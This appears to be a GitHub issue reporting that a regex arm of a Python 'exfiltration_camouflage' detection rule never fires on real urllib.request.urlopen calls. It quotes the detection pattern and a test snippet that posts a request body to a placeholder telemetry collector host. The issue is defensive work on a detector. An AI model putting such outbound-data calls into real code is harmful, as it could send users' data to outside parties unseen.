Skip to content

Python exfiltration_camouflage: the urllib.request( arm is dead, urllib.request.urlopen(...) never fires #9456

Backlog

Description

@squid-protocol

Found by the SOP-002 gap-cell decoy suite (protocol SOP-002-v1, epic #8863).

Construct: the python exfiltration_camouflage arm urllib\.request\s*\( requires a call directly on urllib.request, but urllib.request is a module and is never called. Real code calls urllib.request.urlopen(...) or urllib.request.Request(...), which the arm cannot match, so the branch is dead.

Snippet: urllib.request.urlopen("https://collector.example.com/telemetry", data=body)
Expected: 1 exfiltration_camouflage hit (an outbound call carrying a telemetry-shaped target). Actual: 0. Only the non-code urllib.request("https://x/log") fires.

Rule: gitgalaxy/standards/language_standards/languages/python.py, exfiltration_camouflage.

Locked in tests/decoys/test_decoy_python.py as xfail(strict=True).

Activity

  1. added
    bug
    on Nov 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions